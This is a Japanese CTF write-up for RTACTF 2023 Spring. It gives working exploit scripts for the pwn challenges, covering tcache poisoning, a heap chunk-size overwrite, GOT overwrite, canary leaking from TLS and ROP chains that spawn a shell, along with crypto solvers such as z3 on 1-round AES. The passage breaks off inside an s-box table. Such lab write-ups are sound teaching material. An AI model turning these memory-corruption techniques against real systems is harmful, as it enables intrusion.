malloc によって新しくメモリを確保する際、tcachebins にサイズが一致する領域が存在している場合は、ヒープ領域から新たに領域を取り出すのではなく tcachebins に保存されている領域を再利用する形でメモリを用意する。
そのため、tcachebins の単方向連結リストの接続先を任意のアドレスに書き換えてメモリを確保してあげることで、任意アドレスへの書き込みが可能となる。
今回の場合、同じ長さの文字列を2つaddした後に2回deleteし、そのうち片方をeditしてアドレスを書き換えてからさらに2回addすることで、任意アドレス書き込みが行える。
前段階で得た todo_list[0] のアドレスに対して書き込みを行い、todo_list[0] のデータポインタが environ を指すようにした後にshowすることで、スタックのアドレスを得ることができた。
libcとstackのアドレスが両方得られ、任意アドレスへの書き込みもできるようになったので、後はスタックを書き換えてシェルを奪えばよい。
まずはROPのペイロードをrbpの下に書き込む。
この状態で main から抜けてROPを発火させようとすると、todo_list のデストラクタでの free 時のエラーで落ちてしまう。
これは今まで todo_list を好き放題弄っていたことから当然の結果であり、デストラクタでエラーが起きないようにスタックをさらに改竄する必要がある。
std::vector は初期状態では全てのポインタが 0x0 を指しており、この場合は当然ながら free は行われない。そのため、スタックの todo_list に該当する領域が 0 埋めされるように任意アドレス書き換えを行う。
配列への要素追加によって todo_list のデータ終端を表すポインタが書き換え後からさらに 0x20 増えることを考慮して 0x0, -0x20, 0x0 をそれぞれ書き込むと、無事デストラクタでのエラーが回避でき、ROPの発火によりshellが得られた。
from ptrlib import * LOCAL = False p = Socket('***', ***) e = ELF('./todo') libc = ELF('./libc.so.6') def add(s): p.sendlineafter('> ', '1') p.sendlineafter('TODO: ', s) def delete(idx): p.sendlineafter('> ', '4') p.sendlineafter('Index: ', idx) def show(idx): p.sendlineafter('> ', '2') p.sendlineafter('Index: ', idx) return p.recvlineafter('TODO: ') def edit(idx, s): p.sendlineafter('> ', '3') p.sendlineafter('Index: ', idx) p.sendlineafter('TODO: ', s) add('00000000ccccdddd') add('11111111zzzzxxxx') add('22222222ccccdddd') add('33333333zzzzxxxx') add('44444444ccccdddd') add('55555555zzzzxxxx') add('66666666ccccdddd') add('77777777zzzzxxxx') add('A' * 0x1000) delete(8) res = show(8) libc_ofs = int.from_bytes(res[:8], 'little') libc.base = libc_ofs - 2206944 delete(7) res = show(7) heap_key = int.from_bytes(res[:8], 'little') print(hex(heap_key)) delete(6) res = show(6) nex_heap_key = int.from_bytes(res[:8], 'little') ^ heap_key print(hex(nex_heap_key)) # set vec[0] to environ vec_addr = 0x5594035bfce0 - 0x5594035bf600 + nex_heap_key print(hex(vec_addr)) edit(6, p64(vec_addr ^ heap_key)) add('aaaabbbbccccdddd') add(p64(libc.symbol('environ')) + p64(8)) # environ leak res = show(0) stack = int.from_bytes(res[:8], 'little') stack = 0x7ffdc92dff20 - 0x7ffdc92e00d8 + stack print(hex(stack)) # add ROP payload rbp_addr = stack + 0x90 add('A' * 0x30) # 8 add('A' * 0x30) # 9 delete(8) delete(9) edit(8, p64(rbp_addr ^ heap_key)) add('A' * 0x30) payload = b'' payload += p64(rbp_addr) payload += p64(next(libc.gadget('ret;'))) payload += p64(next(libc.gadget('pop rdi; ret;'))) payload += p64(next(libc.find('/bin/sh'))) payload += p64(libc.symbol('system')) payload = payload.ljust(0x30, b'F') add(payload) # set string and vector as valid data rewrite_addr = stack add('A' * 0x70) print('OK') add('A' * 0x70) delete(11) delete(10) print('rewrite:', hex(rewrite_addr)) edit(10, p64(rewrite_addr ^ heap_key)) add('A' * 0x70) payload = b''.ljust(0x30, b'\0') payload += p64(0) #vector payload += p64(-0x20) payload += p64(0) payload += p64(0) # ??? payload += p64(stack + 0x60) # string payload += p64(5) payload += b'ABCDE\0\0\0' payload = payload.ljust(0x70, b'\0') print(len(payload)) add(payload) p.sendlineafter('> ', '5') p.interactive()
deck (11 solves)
コンテスト中に手を付けられなかったHeap問。ソースコードは以下の通りで、Canaryあり、Partial RELRO、No PIE。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #define DECK_SIZE (13 * 4) #define MAKE_CARD(suit, rank) ((((suit)) << 8) | (rank)) #define CARD_SUIT(card) ((card_t)(card) >> 8) #define CARD_RANK(card) ((card_t)(card) & 0xff) typedef unsigned short card_t; typedef struct _game_t { void (*shuffle)(card_t*); card_t *deck; char *name; } game_t; const char *suit_symbols[4] = {"♠", "♦", "♥", "♣"}; const char *card_numbers[13] = {"A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K"}; void getstr(const char *s, char *buf, size_t len) { size_t i; printf("%s", s); for (i = 0; i < len; i++) { if (read(STDIN_FILENO, buf + i, 1) != 1) exit(1); if (buf[i] == '\n') break; } buf[i] = '\0'; } ssize_t getval(const char *s) { ssize_t val; printf("%s", s); if (scanf("%ld%*c", &val) != 1) exit(1); return val; } void swap_cards(card_t *deck, size_t i, size_t j) { card_t tmp = deck[i]; deck[i] = deck[j]; deck[j] = tmp; } void shuffle_naive(card_t *deck) { size_t i; for (i = 0; i < DECK_SIZE * 2; i++) swap_cards(deck, rand() % DECK_SIZE, rand() % DECK_SIZE); } void shuffle_knuth(card_t *deck) { size_t i, j; for (i = DECK_SIZE; i > 0; i--) { j = rand() % (i + 1); swap_cards(deck, i, j); } } void shuffle_sattolo(card_t *deck) { size_t i, j; for (i = 0; i < DECK_SIZE - 1; i++) { j = i + 1 + rand() % (DECK_SIZE - i - 1); swap_cards(deck, i, j); } } game_t* game_new() { game_t *game; char *name = NULL; card_t *deck = NULL; if (!(deck = (card_t*)malloc(sizeof(card_t) * DECK_SIZE))) goto err; if (!(name = strdup("Human"))) goto err; if (!(game = (game_t*)malloc(sizeof(game_t)))) goto err; for (size_t i = 0; i < DECK_SIZE; i++) deck[i] = MAKE_CARD(i / 13, i % 13); game->deck = deck; game->name = name; game->shuffle = shuffle_naive; srand(time(NULL)); return game; err: if (name) free(name); if (deck) free(deck); return NULL; } void game_del(game_t *game) { free(game->deck); free(game->name); free(game); } void game_play(game_t *game) { printf("Challenger: %s\n", game->name); game->shuffle(game->deck); card_t card = game->deck[0]; size_t suit = getval("Guess the suit (1=♠ / 2=♦ / 3=♥ / 4=♣): "); size_t num = getval("Guess the number (1-13): "); printf("The card: %s%s\n", suit_symbols[CARD_SUIT(card)], card_numbers[CARD_RANK(card)]); if (suit == CARD_SUIT(card) + 1) puts("Your guess on the suit is correct!"); else puts("Your guess on the suit is wrong..."); if (num == CARD_RANK(card) + 1) puts("Your guess on the number is correct!"); else puts("Your guess on the number is wrong..."); } int main() { game_t *game; setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); if (!(game = game_new())) { puts("[-] Cannot create a game"); return 1; } while (1) { puts("1. Play a game\n" "2. Change shuffle method\n" "3. Change your name"); switch (getval("> ")) { case 1: game_play(game); break; case 2: { size_t choice = getval("1=Naive / 2=Fisher-Yates / 3=Sattolo: "); if (choice == 1) game->shuffle = shuffle_naive; else if (choice == 2) game->shuffle = shuffle_knuth; else game->shuffle = shuffle_sattolo; break; } case 3: { char *name; size_t len = getval("Length: "); if (len > 0x1000) { puts("[-] Invalid length"); break; } if (!(name = (char*)malloc(len + 1))) { puts("[-] Cannot allocate memory"); break; } getstr("Name: ", name, len); free(game->name); game->name = name; break; } default: game_del(game); return 0; } } }
トランプの札からなるデッキをシャッフルして一番上を当てるゲームが遊べる他、シャッフル方法の変更と名前の変更が行える。ゲームの状態を表す game_t 構造体はヒープに確保されている他、game_t から参照している card_t *deck と char *name もそれぞれヒープ内の別領域に保持されている。
脆弱性は shufle_knuth のループ部分。for文の始点が i = DECK_SIZE になっており、配列外の要素とのswapが行われる。mallocでヒープ領域に確保されている上、カードの枚数が合計52枚で1枚は2バイトであるため、このswapによってヒープ領域中の次のチャンクのサイズが書き換えられてしまう。
前述の通りカード1枚は2バイトで保存されており、上位バイトがスート、下位バイトが数値となっている。そのため、swapを行うことで次のチャンクが 0x100 や 0x300 に書き換えられてしまうことがある。目当てのチャンクサイズを引ける確率は少なくとも1/52はあり、これだけの回数の試行であれば許容範囲内であるため、今後はswapによってチャンクサイズが 0x300 に書き換えられたと仮定して進めていく。
プログラムの開始時点の状態では、ヒープ領域中で deck の次の領域に位置するデータは game->name になっている。ここから名前変更のクエリを投げると元の game->name はfreeされ、新たにmallocで確保された name が次の game->name に代入されることになる。そのため、名前変更により deck の直後の領域をfree（ここで tcachebins[0x20] にチャンクが入る）→シャッフルでチャンクサイズを変更→再度名前変更をして deck の直後の領域を再確保（tcachebins[0x20] からチャンクを取り出し）→さらに名前変更をして再度free（tcachebins[0x300] にチャンクを格納）、という手続きを踏むことで、tcachebins のサイズ 0x300 のbinに deck の直後の領域を入れることができる3。
上のような手続きを踏んで元々 game->name があった領域を tcachebins[0x300] に格納すると、次に 0x300 バイトの領域をmallocした際には game->name があった領域から続く 0x300 バイトの領域が取り出されることになる。名前変更クエリでは任意サイズのmallocとmallocした領域への書き込みが同時に行えるため、これを用いることでこの領域への自由な書き込みが行えるようになった。この領域には同じくヒープに確保されている game も入っているため、game->shuffle, game->deck, game->name の指すアドレスを自由に書き換えられる。
ここからは game 構造体の中身を弄ることでlibc leakからのROPを達成する。まず、game->shuffle を puts のPLTに書き換え、game->deck をlibcの適当な関数へのGOTに書き換える。
この状態でゲームを実行すると、デッキシャッフルの処理が puts(addr) の呼び出しで置換され、libcの関数のアドレスを得ることができる。libcのベースアドレスが得られたので、ついでに environ を同様の方法で読み出してstack addressも得る。
ここからROPを行う。ROPのためには任意アドレスの書き込みが必要になるが、これは任意アドレス読み込み時に puts のPLTを用いていたところをlibcの gets で置き換えてしまえば良い。leakしたstack addressを用いて game_play からのリターンアドレスの位置を計算し、そこにROPのペイロードを書き込んで発火させることでシェルが得られた。
ソースコードは以下の通り。シャッフル結果が目的のものになるまで引き直しているが、リモートにexploitを刺そうとするとタイムアウト設定などの都合でこの部分のコードが無駄に複雑になってしまった。そのため、本記事には手元でのみ動作するコードを貼ることとする。
from ptrlib import * e = ELF("./deck") libc = ELF("./libc.so.6") def spawn(): # return Socket("***", ***) return Process("./deck") p = spawn() def play(): p.sendlineafter('> ', 1) p.sendlineafter('): ', 1) p.sendlineafter('): ', 1) def change_shuffle_method(method): p.sendlineafter('> ', 2) p.sendlineafter('Sattolo: ', method) def change_name(length, name): p.sendlineafter('> ', 3) p.sendlineafter('Length: ', length) p.sendlineafter('Name: ', name) while True: change_name(0x1000, 'A'*0x1000) change_shuffle_method(2) play() change_name(0x10, 'X'*0x10) change_name(0x10, 'Y'*0x10) try: p.recvuntil('3.', timeout=1) payload = b'A' * 0x1f + b'\x00' payload += p64(e.plt('puts')) # shuffle -> plt['puts'] payload += p64(e.got('puts')) # deck -> got['puts'] (for libc leak) # change_name(0x100 - 10, payload[:-1]) # change_name(0x200 - 10, payload[:-1]) change_name(0x300 - 10, payload[:-1]) # libc leak p.sendlineafter('> ', 1) p.recvline() line = p.recvline(timeout=1) if line.startswith(b'Guess'): continue libc_puts = u64(line) libc.base = libc_puts - libc.symbol('puts') assert libc.base & 0xfff == 0 p.sendlineafter('): ', 1) p.sendlineafter('): ', 1) break except: p = spawn() continue def aar(addr): change_name(0x10, 'T'*0x10) payload = b'A' * 0x1f + b'\x00' payload += p64(e.plt('puts')) # shuffle -> plt['puts'] payload += p64(addr) # deck change_name(0x300 - 10, payload[:-1]) p.sendlineafter('> ', 1) p.recvline() line = p.recvline(timeout=1) assert not line.startswith(b'Guess') p.sendlineafter('): ', 1) p.sendlineafter('): ', 1) return line def aaw(addr, data): change_name(0x10, 'T'*0x10) payload = b'A' * 0x1f + b'\x00' payload += p64(libc.symbol('gets')) # shuffle -> gets payload += p64(addr) # deck change_name(0x300 - 10, payload[:-1]) p.sendlineafter('> ', 1) p.recvline() p.sendline(data) p.sendlineafter('): ', 1) p.sendlineafter('): ', 1) environ = u64(aar(libc.symbol('environ'))) rop_base = 0x404a00 rop_payload = b'' rop_payload += p64(next(libc.gadget('pop rdi; ret;'))) rop_payload += p64(next(libc.search(b'/bin/sh'))) rop_payload += p64(next(libc.gadget('ret'))) rop_payload += p64(libc.symbol('system')) return_addr = environ + 0x7ffe72b337b8 - 0x7ffe72b33908 # return address of game_play change_name(0x10, 'T'*0x10) payload = b'A' * 0x1f + b'\x00' payload += p64(libc.symbol('gets')) # shuffle -> gets payload += p64(return_addr) # deck change_name(0x300 - 10, payload[:-1]) p.sendlineafter('> ', 1) p.recvline() p.sendline(rop_payload) p.sendlineafter('): ', 1) p.sendlineafter('): ', 1) p.interactive()
RTACTF 2023 Spring writeups
2023/3/21に行われたRTACTF 2023 Springのwriteup。2024/8/11に この問題セットを流用したコンテスト がAlpacaHack上で開催されており、そのタイミングで問題を解いた。最後の2問はコンテスト中に解けなかったのでupsolve。
- before-write (Pwn)
- XOR-CBC (Crypto)
- write (Pwn)
- Collision-DES (Crypto)
- Reused-AES (Crypto)
- read-write (Pwn)
- only-read (Pwn)
- 1R-AES (Crypto)
before-write (Pwn)
Cのバイナリが渡される。PIEとcanaryがともに無しで、ソースコードは以下の通り。
#include <stdlib.h> #include <string.h> #include <unistd.h> void win(void) { char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); } ssize_t getval(const char *msg) { char buf[0x20] = {}; write(STDOUT_FILENO, msg, strlen(msg)); read(STDIN_FILENO, buf, sizeof(buf)*0x20); return atoll(buf); } int main() { return getval("value: "); }
この問題の脆弱絵師は sizeof(buf)*0x20 の部分。sizeof(buf) は配列の1要素のバイト数ではなく配列全体が占めるバイト数を返すため、sizeof(buf)*0x20 は400となり、バッファオーバーランが起こせる。
そのため、win 関数のアドレスを適当にたくさん入力することで win を呼び出すことができる。
XOR-CBC (Crypto)
ブロック暗号の亜種によってフラグを暗号化したデータが与えられる。暗号化の手順はソースコード中にあった以下のAAが分かりやすい。
XOR-CBC Explained:
plain 0 plain 1 plain 2
| | |
v v v
IV --> XOR +------> XOR +------> XOR
| | | | |
v | v | v
key -> XOR | key -> XOR | key -> XOR
| | | | |
+---+ +---+ |
| | |
v v v
[IV] [cipher 0] [cipher 1] [cipher 2]
IV は既知、plain 0 は8バイト中7バイトが既知（RTACTF{* の形になっている）、cipher 0 も既知であることから、plain 0 の8バイト目を全探索することで key を特定できる。
全探索を行うソースコードは以下の通り。（一部のみ抜粋）
import string for c in string.printable: head = ('RTACTF{' + c).encode() key = p64(u64(iv) ^ u64(head) ^ u64(ciphers[0])) print(decrypt(enc_flag, key))
write (Pwn)
配列の任意の位置に8バイトの書き込みができるプログラムが渡される。checksec の結果はCanaryあり、PIEなし、Partial RELRO。問題のソースコードは以下の通り。
#include <stdlib.h> #include <string.h> #include <unistd.h> ssize_t array[10]; void win(void) { char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); } #define getval(msg) \ ({ \ char buf[0x20] = {}; \ write(STDOUT_FILENO, msg, strlen(msg)); \ read(STDIN_FILENO, buf, sizeof(buf)*0x20); \ atoll(buf); \ }) int main() { ssize_t index, value; index = getval("index: "); value = getval("value: "); array[index] = value; return 0; }
read のサイズが sizeof(buf)*0x20) になっていることから、先ほどと同様にバッファオーバーランが起こせる。
また、ssize_t は符号付き64bit整数を表す型であり、getval 内では atoll によって数値への変換が行われていることから、index や value には負の値を代入できる。
array はグローバル領域に配置されており、array のアドレスは 0x404080、__stack_chk_fail のGOTのアドレスは 0x404020 であることから、index に (0x404020 - 0x404080) // 0x8 = -12 を入力することで __stack_chk_fail のGOT overwriteが起こせる。
あとは適当にスタックを破壊して __stack_chk_fail を発火させればよい。ソースコードは以下の通り。
from ptrlib import * e = ELF("./chall") p = Socket("***", ***) idx = (0x404020 - 0x404080) // 0x8 p.sendlineafter('index: ', str(idx).encode() + b'\n' * 0x100) p.sendlineafter('value: ', e.symbol('win')) p.interactive()
Collision-DES (Crypto)
DESのハッシュ衝突を見つける問題。ソースコードは以下の通り。
from Crypto.Cipher import DES from Crypto.Util.Padding import pad import os FLAG = os.getenv("FLAG", "RTACTF{**** REDACTED ****}") def encrypt(key, plaintext): cipher = DES.new(key, DES.MODE_ECB) return cipher.encrypt(pad(plaintext, 8)) if __name__ == '__main__': key1 = os.urandom(8) print(f"Key 1: {key1.hex()}") key2 = bytes.fromhex(input("Key 2: ")) plaintext = b"The quick brown fox jumps over the lazy dog." assert len(key1) == len(key2) == 8, "Invalid key size :(" assert len(set(key1).intersection(set(key2))) == 0, "Keys look similar :(" if encrypt(key1, plaintext) == encrypt(key2, plaintext): print("[+] You found a collision!") print(FLAG) else: print("[-] Nope.")
この問題設定に対するうまい攻撃があるようには思えないので調べてみると、DES暗号の実際の鍵長は56bitであり、64bitの鍵の各バイトの最下位ビットは暗号化の際は無視される（パリティとして用いられる）ことが分かった。
そのため、1つ目の鍵の各バイトに ^= 1 したものを2つ目の鍵とすれば衝突が起こせる。
Reused-AES (Crypto)
AESのCFBモードを用いてフラグを暗号化した結果が与えられ、その後に任意の平文を暗号化した結果を得ることができる。ただし、iv と key は2回の暗号化で同じものを用いる。
ソースコードは以下の通り。
from Crypto.Cipher import AES from Crypto.Util.Padding import pad import os iv = os.urandom(16) key = os.urandom(16) FLAG = os.getenv("FLAG", "RTACTF{**** REDACTED ****}").encode() def encrypt(data): cipher = AES.new(key, AES.MODE_CFB, iv) return cipher.encrypt(pad(data, 16)) if __name__ == '__main__': print(encrypt(FLAG).hex()) print(encrypt(input("> ").encode()).hex())
AESのCFBモードでは平文を先頭から1バイトずつ暗号化する。暗号化の手順では、現在の内部状態を暗号化した後に平文とXORした結果を次の内部状態として用いる。
今回の問題設定では iv と key がともに共通なため、2つの暗号化文の先頭 バイトが一致している場合、
バイト目の暗号化に使われる内部状態が一致する。
バイト目に対応する暗号文ブロックは
バイト目の内部状態を暗号化したものに平文の
バイト目をXORしたものであるため、
フラグの
バイト目までが特定できている場合、先頭
バイトをフラグと一致させ、
バイト目を適当な値とした文字列を暗号化してうまくXORをとることで、フラグの
バイト目を特定することができる。
ソルバのコードは以下の通り。
from ptrlib import * head = b'' for k in range(32): p = Socket("***", ***) s = bytes.fromhex(p.recvline().decode()) payload = head + b'\1' * 32 p.sendlineafter('> ', payload) t = bytes.fromhex(p.recvline().decode()) head += xor(xor(s, t), payload)[k:k+1] print(head)
read-write (Pwn)
任意位置への読み書きが3回までできるプログラム。Full RELROかつCanaryありでNo PIE。ソースコードは以下の通り。
#include <stdlib.h> #include <string.h> #include <unistd.h> size_t array[10]; void win(void) { char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); } void printval(size_t val) { char buf[0x20] = {}, *p = buf + sizeof(buf) - 1; *--p = '\n'; do { *--p = '0' + (val % 10); val /= 10; } while (val); write(STDOUT_FILENO, p, buf+sizeof(buf)-p-1); } size_t getval(const char *msg) { char buf[0x20] = {}; write(STDOUT_FILENO, msg, strlen(msg)); read(STDIN_FILENO, buf, sizeof(buf)*0x20); return atoll(buf); } int main() { size_t index, value; for (int i = 0; i < 3; i++) { switch (getval("1. read\n2. write\n> ")) { case 1: // read index = getval("index: "); printval(array[index]); break; case 2: // write index = getval("index: "); value = getval("value: "); array[index] = value; break; default: return 0; } } return 0; }
array は前回と同様にグローバル領域に保存されており、getval の脆弱性もそのまま。ただし、Full RELROなので単純なGOT overwriteは難しい。printval という関数が新たに追加されているが、見たところ脆弱性は無さそう。
まずはlibcをleakしたい。バイナリがFull RELROの場合、グローバル配列などが保存されている書き込み可能領域の少し手前（0x404000 の直前）にGOTが存在する。この領域は書き込み不可能だが読み込みは問題なく可能であり、テーブルにはlibcの該当するコードへのアドレスが保存されている。
そのため、負のindex指定を用いてこの中身を読み込むことでlibcのアドレスが特定できる。
次はlibc側のGOT overwriteを行う。Full RELROでもlibc側のGOTは書き込み可能であり、__stack_chk_fail の関数呼び出し内で発火しそうな適当な関数のジャンプ先を win に書き換える。
最後に getval のバッファオーバーランを用いて __stack_chk_fail を発火させることで、無事にシェルが得られた。
ソースコードは以下の通り。
from ptrlib import * e = ELF('./chall') p = Socket('***', ***) libc = ELF('./libc.so.6') stack_chk_fail = 0x403fd0 array_addr = 0x404040 def to_idx(addr): return (addr - array_addr) // 8 def read(addr): p.sendlineafter('> ', 1) p.sendlineafter('index: ', to_idx(addr)) return int(p.recvline().strip()) def write(addr, data): p.sendlineafter('> ', 2) p.sendlineafter('index: ', to_idx(addr)) p.sendlineafter('value: ', data) given_stack_chk_fail = read(stack_chk_fail) libc.base = given_stack_chk_fail - libc.symbol('__stack_chk_fail') got = libc.base + (0x7f0a32765000 - 0x7f0a3254c000) + 19 * 8 write(got, e.symbol('win')) p.sendlineafter('> ', 1) p.sendlineafter('index: ', 'A' * 100) p.interactive()
ちなみに、想定解はlibc leakしてから environ でstack addressを得てROPする方法だったらしい。
libc側のGOT overwriteはどこのGOTを書き換えれば発火するのかが分かりづらいため、そちらの方針の方が解きやすいかもしれない。
only-read (Pwn)
Pwnのボス問。任意の回数だけ読み込みができるが、書き込みが許されなくなってしまった。防御機構は全部あり。ソースコードは以下の通り。
#include <stdlib.h> #include <string.h> #include <unistd.h> #define printval(_val) \ { \ size_t val = (_val); \ char buf[0x20] = {}, *p = buf + sizeof(buf) - 1; \ *--p = '\n'; \ do { \ *--p = '0' + (val % 10); \ val /= 10; \ } while (val); \ write(STDOUT_FILENO, p, buf+sizeof(buf)-p-1); \ } \ #define getval(msg) \ ({ \ char buf[0x20] = {}; \ write(STDOUT_FILENO, msg, strlen(msg)); \ read(STDIN_FILENO, buf, sizeof(buf)*0x20); \ atoll(buf); \ }) int main() { size_t array[10] = {}; for (;;) { ssize_t index = getval("index: "); if (index >= 10) break; printval(array[index]); } return 0; }
ソースコード内で気にするべき点がいくつかあるのでまずはそれを紹介する。
まず、array がグローバル領域からスタック領域に変更されている。また、index >= 10 を満たす位置には読み込みができなくなっている。もう一点、getval と printval が両方ともマクロで定義されている点も気を付けたい。つまり、getval などの実行中も rsp は変化しないということになる。
まず、index を負の値にして読み込むことでスタックの上部を参照し、main 関数の位置やスタックの位置を特定する。スタックの位置を特定することで、array のアドレスより小さい任意のアドレスへの読み込みが可能になる。
次に、得られた main のアドレスを使ってlibcをleakする。main 周辺を適当に調べるとlibcの write へのポインタが格納されているアドレスを見つけられたので、それを使った。
ここからstack canaryをleakしてバッファオーバーランからROPに持ち込みたいのだが、スタックの下部にはアクセスできず、スタック上部にはcanaryが存在しない。
そのため、TLS (Thread Local Storage) にあるmaster canaryをleakする方針で考えてみる。
TLSのアドレスの正確な特定は難しいのだが、実はTLSは libc.base の手前にある書き込み可能領域のどこかに存在する。この領域のサイズは 0xf000 バイト程度であり、領域内を全探索することができる 1。
stack canaryは上位7バイトが非ゼロで最下位バイトがゼロであるため、全探索しながらそのようなcanary候補があるかどうかを調べればよい。
canaryが特定できた後はROPをすればシェルが取れる。ソースコードは以下の通り。
from ptrlib import * p = Socket('***', ***) libc = ELF('./libc.so.6') array_addr = None def to_idx(addr): return (addr - array_addr) // 8 def read_idx(idx): p.sendlineafter('index: ', idx) return int(p.recvline().strip()) def read_addr(addr): return read_idx(to_idx(addr)) main_addr = read_idx(-5) - 189 - 0xb5 + 0xa9 assert hex(main_addr)[-2:] == 'a9' stack_addr = read_idx(-2) stack_addr = 0x7ffebe81f520 + stack_addr - 0x7ffebe81f5a0 array_addr = stack_addr + 0x20 write_addr = main_addr + 11795 write = read_addr(write_addr) libc.base = write - libc.symbol('write') base_len = 12288 // 8 canary = None # 全探索（1298が答えになる） for i in range(base_len): addr = libc.base - (i + 1) * 8 res = read_addr(addr) s = 0 for j in range(8): if (res >> (j * 8)) & 0xff: s |= 1 << j if s == 254: canary = res break payload = b'' payload += b'10\nAAAAA' payload += p64(canary) * 6 payload += p64(next(libc.gadget('ret;'))) payload += p64(next(libc.gadget('pop rdi; ret;'))) payload += p64(next(libc.search(b'/bin/sh'))) payload += p64(libc.symbol('system')) p.sendlineafter('index: ', payload) p.interactive()
1R-AES (Crypto)
Cryptoのボス問。選択平文攻撃で1ラウンドのAES暗号を破る問題。ソースコードは以下の通りだが、aes.py が別個配布されており、aes.py はラウンド数を1で固定するように変更が加えられている。
import aes_raw as aes import aes import os key = os.getenv("KEY", "*** REDACTED ***").encode() assert len(key) == 16 flag = os.getenv("FLAG", "RTACTF{ABCDEFGHIJKLMNOP}").strip() assert flag.startswith("RTACTF{") and flag.endswith("}") la = flag[len("RTACTF{"):-len("}")] assert len(la) == 16 cipher = aes.AES(key) print("enc(la):", cipher.encrypt_block(la.encode()).hex()) while True: cipher = aes.AES(key) plaintext = bytes.fromhex(input("msg > ")) assert len(plaintext) == 16 print("enc(msg):", cipher.encrypt_block(plaintext).hex())
ラウンド数が少ないため、頑張ってSMTソルバに投げられる形にしてz3に解かせたくなる。
具体的には、暗号化オラクルを用いて平文と暗号化文の組を得た後、そのような変換が成立するようなkeyを求める問題として定式化する。
この問題はこれ以上説明することがなく、頑張って実装するとちゃんと解けて無事フラグが得られた。aes.py をベースにしたSMTソルバ部分のソースコードは以下の通り。
#!/usr/bin/env python3 """ This is an exercise in secure symmetric-key encryption, implemented in pure Python (no external libraries needed). Original AES-128 implementation by Bo Zhu (http://about.bozhu.me) at https://github.com/bozhu/AES-Python . PKCS#7 padding, CBC mode, PKBDF2, HMAC, byte array and string support added by me at https://github.com/boppreh/aes. Other block modes contributed by @righthandabacus. Although this is an exercise, the `encrypt` and `decrypt` functions should provide reasonable security to encrypted messages. """ from z3 import * s_box = ( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ) inv_s_box = ( 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 